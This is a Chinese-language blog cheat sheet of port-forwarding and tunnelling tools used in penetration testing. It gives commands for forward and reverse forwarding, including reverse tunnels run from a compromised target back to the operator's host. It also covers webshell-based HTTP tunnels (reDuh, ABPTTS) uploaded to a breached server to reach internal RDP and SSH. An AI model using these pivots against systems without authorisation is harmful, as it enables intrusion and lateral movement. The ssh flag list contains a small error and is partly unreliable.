端口转发（隧道）工具合集记录

正向端口转发（重定向流量）
1.netsh
2.iptables
3.socat
4.lcx
5.htran
6.ew
7.termite
8.portmap
9.rtcp
10.FPipe
11.portfwd
12.rinetd
13.powershell
14.ssh
15.passport
16.netcat

反向端口转发
1.ew
2.htran
3.lcx
4.portmap
5.ssh

webshell类端口转发
1.ReDuh
2.ABPTTS
3.Tunna

第三方自建内网穿透工具
1.ngork
2.nps
3.frp
4.lanproxy
5.holer

======================================================================================

netsh interface portproxy add v4tov4 listenport=8833 connectport=3389 connectaddress=10.0.1.251 protocol=tcp
表示本地监听8833端口，将流量转发到10.0.1.251的3389端口，流量转发也可以理解为重定向流量

netsh interface portproxy dump
查看端口转发

netsh interface portproxy delete v4tov4 listenport=8833
删除端口转发

iptables

添加路由转发

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables的INPUT链配置允许放行

iptables -P INPUT ACCEPT

添加转发规则

iptables -t nat -A PREROUTING -d 10.0.1.76 -p tcp -m tcp --dport 8833 -j DNAT --to-destination 10.0.1.251:3389

告诉其进来之后的流量要从转给10.0.1.76上回去

iptables -t nat -A POSTROUTING -d 10.0.1.251 -p tcp -m tcp --dport 3389 -j SNAT --to-source 10.0.1.76

防火墙策略放通

iptables -A FORWARD -o ens199 -d 10.0.1.251 -p tcp --dport 3389 -j ACCEPT

保存iptables服务然后重启

/etc/init.d/iptables save && /etc/init.d/iptables restart

同样可以利用类似上面操作方式转发ssh端口

iptables -t nat -A PREROUTING -d 192.168.1.6 -p tcp -m tcp --dport 2222 -j DNAT --to-destination 192.168.1.5:22

iptables -t nat -A POSTROUTING -d 192.168.1.5 -p tcp -m tcp --dport 22 -j SNAT --to-source 192.168.1.6

iptables -A FORWARD -o eth2 -d 192.168.1.5 -p tcp --dport 22 -j ACCEPT

/etc/init.d/iptables save && /etc/init.d/iptables restart

socat

地址：http://www.dest-unreach.org/socat/

可以直接在kali上使用apt-get install socat进行安装

socat TCP4-LISTEN:8833,reuseaddr,fork TCP4:10.0.1.251:3389

lcx

lcx -tran 8833 10.0.1.251 3389

htran

htran -p tran 8833 10.0.1.251 3389

EW 此工具官方已经不更新了，作者反馈危害很大，并且已经不提供下载地址了

该工具共有6中命令格式（ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran）。

工具地址：http://rootkiter.com/EarthWorm

ew -s lcx_tran -l 8833 -f 10.0.1.251 -g 3389

Termite

agent_linux64 -l 8833

agent_linux64 -c 10.0.1.251 -p 8833

agent_win32.exe -c 10.0.1.251 p 8833

show

goto 2

lcxtran 3388 10.0.1.252 3389

portmap linux环境下的lcx

linux_portmap -m 1 -p1 8833 -h2 10.0.1.251 -p2 3389

rtcp

rtcp.py 1:10001 l:10002 表示在本地监听两个端口10001和10002

rtcp.py c:localhost:22 c:112.112.11.1:10001

ssh -p 10002 112.112.11.1

https://github.com/knownsec/rtcp 具体可参考官方的示例

FPipe

这个只适合Windows不是太好用

Fpipe.exe -l 8833 -r 3389 10.0.1.251 -v

portfwd

metasploit中的工具

portfwd add -l 8833 -r 10.0.1.251 -p 3389

rinetd

挺好用的，地址：http://www.boutell.com/rinetd

同样是正向端口转发，也可以理解为流量重定向

powershell

PS>Powershell -exec -bypass
PS>Import-Module .\Invoke-SocksProxy.psm1
PS>Invoke-PortFwd -BindPort 8833 -DestHost 10.0.1.251 -DestPort 3389

ssh正向tcp端口加密转发

这里就是经常说的ssh本地端口转发

相应的参数说明和示例如下：

ssh -CfNg -L 8833:127.0.0.1:2222 user@ip //VPS 本地访问VPS:8080就是内网的22端口

-C：该参数将使ssh压缩所有通过Secure Shell客户端发送的数据，包括输入、输出、错误消息及转发数据。它使用gzip算法，压缩级别可通过设置配制文件中的参数Compressicn Level来指定。这对于缓慢的传输线路特别有用的。但对于传输速度已经很快的网络则显得没有必要。同样，你可以利用配制文件针对每台主机配置这个参数。
-f：该参数将ssh连接送入后台执行。这在验证已经完成且TCP/IP转发已经建立的情况下会生效。这对在远程主机上启动X程序显得十分重要。其后用户将被提示要求输入口令(提供的认证代理不运行)，然后将连接送往后台。
-g：该参数允许远程主机通过端口转发与主机端口相连，通常情况下仅允许本地主机这样做。
-N：不执行远程指令。
-R：远程转发
-L：本地转发
-D：动态转发，即socks代理
-p：指定远程ssh服务端口
-n：后台运行
-p：安静模式，不要显示任何debug信息

操作之前先检查下ssh的配置，如果有密钥互信也是可以的，没有就密码认证

# vim /etc/ssh/sshd_config
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes 保持心跳,防止 ssh 断开
PasswordAuthentication yes
# systemctl restart sshd

ssh -CfNg -L 0.0.0.0:8833:10.0.1.251:3389 root@10.0.1.87 -p 22

然后mstsc 10.0.1.251即可

或者

rdesktop -f -a 16 127.0.0.1:8833 -r sound:off -g 1024*768

netcat

ncat -l 8833 | ncat 10.0.1.251 3389

============================================================================================================================

反向端口转发

本机 ip 10.0.1.87
ew -s lcx_listen -l 8833 -e 3308

目标被控制机器执行
ew -s lcx_slave -d 10.0.1.87 -e 3308 -f 10.0.1.251 -g 3389

mstsc 127.0.0.1 8833

htran

这个是多线程包转发，socks5 端口复用socks5和反连socks5

本机执行

htran -p -listen 53 8833

目标机器执行

htran -p -slave 10.0.1.87 53 10.0.1.251 3389

mstsc 127.0.0.1 8833

lcx

本机执行

lcx -listen 53 8833

目标主机执行

lcx -slave 10.0.1.87 53 10.0.1.251 3389

mstsc 127.0.0.1 8833

portmap

本机执行

linux_portmap -m 2 -p1 53 -p2 8833

目标主机执行

linux_portmap -m 3 -h1 10.0.1.87 -p1 53 -h2 10.0.1.86 -p2 22

ssh 127.0.0.1 -l root -p 8833

ssh远程端口转发

ssh -CfNg -R 0.0.0.0:53:10.0.1.251:3389 root@10.0.1.87 -p 22

这里需要说明一下，在ssh的远程端口转发中即使添加了参数-g也不能将隧道建立之后在本地监听0.0.0.0的IP地址，所以此参数在远程端口转发中是无效的，不管加与不加，成功建立隧道都是本地监听IP地址127.0.0.1 所以为了解决这个问题，就需要配合端口重定向的技术来解决，通常使用rinet来解决

vim /etc/rinetd.conf

编辑此配置文件添加转发规则

0.0.0.0 8833 127.0.0.1 53

上述添加完成需要重启rinetd服务

netstat -tunlpa | egrep "53|8833"

mstsc 10.0.1.87:8833

==========================================================================================================================

Webshell端口转发

ReDuh是SensePost在BlackHat USA 2008发布的关于隧道数据进出网络工具。ReDuh是一种可用于通过有效形成的HTTP请求创建TCP电路的工具。从本质上讲，这意味着如果我们可以在服务器上上传JSP / PHP / ASP页面，我们可以轻松地连接到该服务器后面的主机

默认的情况下会监听1010端口

前提是已经拿到目标的webshell，然后上传reDuh.jsp

然后本地客户端去连接

java -jar reDuhClient/dist/reDuhClient.jar http://10.0.1.87/reDuh.jsp
netstat -tlunp | grep ":1010"

使用nc去连接

nc -nv 127.0.0.1 1010

[createTunnel]2222:10.0.1.86:22

然后ssh连接

ssh 127.0.0.1 -l root -p 2222

此软件对应的升级版：https://github.com/NoneNotNull/reGeorg

ABPTTS

ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发，在目前云主机的大环境中，发挥了比较重要的作用，可以通过脚本进行 RDP,SSH,Meterpreter的交互与连接。也意味着这样可以建立一个通过80端口得流量出站来逃避防火墙。与其它http隧道不同的是，abptts是全加密

安装依赖环境

pip install pycrypto 加密库,整个通信数据加密基本都要靠这个库来实现
pip install httplib2

生成webshell服务端
python abpttsfactory.py -o webshell

上传到目标，进行访问
curl http://10.0.1.87/abptts.jsp

客户端连接服务端打通隧道
python abpttsclient.py -c webshell/config.txt -u "http://10.0.1.87/abptts.jsp" -f 127.0.0.1:8833/10.0.1.251:3389

远程连接
rdesktop -f -a 16 127.0.0.1:8833 -r sound:off -g 1024*768

也可以将目标22端口转出来
#python abpttsclient.py -c webshell/config.txt -u "http://10.0.1.87/abptts.jsp" -f 127.0.0.1:2228/10.0.1.92:22

然后使用ssh的动态端口转发打通隧道
ssh -qngfNT -D 6688 root@127.0.0.1 -p 2228
proxychains socks5 127.0.0.1 6688

上述搞完了，就可以直接通过ssh隧道技术连接目标内网的其他主机的22端口
proxychains ssh root@10.0.1.85

Tunna

Tunna是一款将TCP通信流量封装在HTTP协议的工具，适用于在有防火墙的环境中突破网络限制

第三方自建的内网穿透工具

ngrokngrok 是一个反向代理，通过在公共端点和本地运行的 Web 服务器之间建立一个安全的通道，实现内网主机的服务可以暴露给外网

国内版本 https://www.ngrok.cc/ ，比较简单，注册账户然后配置一下服务端，从此网站上下载客户端本地运行配置即可

国外版本 https://ngrok.com/ 开源项目地址：https://github.com/inconshreveable/ngrok

nps

nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发，可支持任何tcp、udp上层协议（访问内网网站、本地支付接口调试、ssh访问、远程桌面，内网dns解析等等……），此外还支持内网http代理、内网socks5代理、p2p等，并带有功能强大的web管理端

开源地址：https://github.com/cnlh/nps

frp

frp 是一个可用于内网穿透的高性能的反向代理应用，支持 tcp, udp 协议，为 http 和 https 应用协议提供了额外的能力，且尝试性支持了点对点穿透，常用用于内网渗透

开源项目地址：https://github.com/fatedier/frp

Lanproxy

lanproxy是一个将局域网个人电脑、服务器代理到公网的内网穿透工具，目前仅支持tcp流量转发，可支持任何tcp上层协议

开源项目地址：https://github.com/ffay/lanproxy-go-client

Holer

Holer是一个将局域网中的应用映射到公网访问的端口映射软件，支持转发基于TCP协议的报文

开源项目地址：https://github.com/wisdom-projects/holer

natapp

官方地址：https://natapp.cn/

dog-tunnel

dog-tunnel基于kcp的p2p端口映射工具，同时支持socks5代理

开源项目地址：https://github.com/vzex/dog-tunnel

参考

https://xz.aliyun.com/t/142

posted @ 2021-04-16 22:00 皇帽讲绿帽带法技巧阅读(1101) 评论(0) 编辑收藏举报

刷新页面返回顶部

皇帽讲绿帽带法技巧

端口转发（隧道）工具合集记录

公告